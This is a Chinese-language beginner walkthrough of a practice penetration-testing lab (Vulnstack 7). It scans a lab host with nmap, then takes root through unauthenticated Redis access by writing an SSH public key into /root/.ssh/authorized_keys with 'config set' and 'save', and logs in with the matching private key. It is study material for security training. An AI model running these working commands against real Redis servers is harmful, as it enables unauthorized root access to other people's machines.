靶场拓扑图如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
这是我们搭建的红日靶场7,本文适合小白阅读,不懂的可以私信问我噢,首先我们可以根据上图推测出,我们需要先拿下DMZ区域的主机才可能继续往下渗透,我们已知这台Ubuntu的主机ip。
端口扫描(服务识别)
首先我们需要知道这台主机的端口开放情况,然后试着访问一下都有哪些服务开启,我们可以使用nmap端口扫描工具进行进一步的端口探测
https://nmap.org/
也可以通过命令一键安装 Ubuntu主机使用该命令可一键安装nmap
sudo apt install nmap
使用以下命令进行对该主机ip进行全端口扫描
nmap -Pn -n -v -A -O -sV -p- 192.168.0.233
可以观察到该机器开放了如下端口,从以下结果,我们可以考虑从6379或者81端口入手,我这边会选择从redis入手。
redis未授权漏洞利用
通过上面的端口扫描,我们发现了redis服务的默认端口6379,因为在默认配置下redis的密码认证一般为空。
redis-cli -h 192.168.0.233
ssh公钥免密登录
该利用方式前提条件,首先/root/.ssh/要存在,第二则是需要有写入权限。
首先需要生成公私钥
ssh-keygen -t rsa
会生成两个文件,一个分别是私钥 一个分别是公钥 生成在/root/.ssh路径
我们查看一下公钥的内容
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/bb.txt
vi bb.txt
root用户的公钥路径如下
config set dir /root/.ssh
config set dir /home/<其它用户>/.ssh
设置文件名
config set dbfilename authorized_keys
设置公钥
set ssh "\n\nssh-rsa AAAAB3NzaC1yc2EQxDQaqEUtwoGD/F+FnoZeUUzP8ETqHAqlGsBSmmZfI3XW4GD+BVuyxkZNBapkvT3j3IqO4KafKKZQf94x44ebB8g6RHiPiVyastaZekTyY8q3FBkJ0wQ5zBKt/PpPweaqcIt+rQDyFUwFiJ4G1dLZvr3BCoLnYSZNTWi4B9wL8zlUJ7Sw7BH3vsyQUb7iCMxE66fqw7/MxWUMsSMA7H++4jhUe7OYMyHBF292EB0hLyfI119SGUasDarxCHF4TGLi6PLrxzeZ/WrFFoo+xA5oLtLMxtSEl+lV0tlV3sgmB2qF6s0c4FmM1uaZXPDp2aMeqTebTrOjl8iVeIKdRllHPA/advO5tyZ8W9nEHZYmO2e3xRvPrDtRUAjbLZViOIiF+aqk5ppFnetgS7iTrBbmZGl/xUuPZdcYyZLeJhuSCWuQahYi0yQTjPrNYr6OwGmvwK+XkJqGtpTGwe48+mM23zU4XoFJE= root@yingk\n\n"
前后加上两个回车,是因为redis在save保存文件时会在最前面加上几个特定字符,加上两个回车后在.ssh中才会被认为是一条正确的数据最后切记要保存!!!save
如何私钥免密链接
ssh -i /root/.ssh/id_rsa root@target
至此,我们成功拿下了第一台DMZ区域的服务器。
坑点
如果你的redis不是使用sudo redis-server /etc/redis.config这条命令运行而是直接redis-server /etc/redis.config运行的话会提示权限被拒绝,切记避雷了兄弟们。
有啥不明白可以私信我噢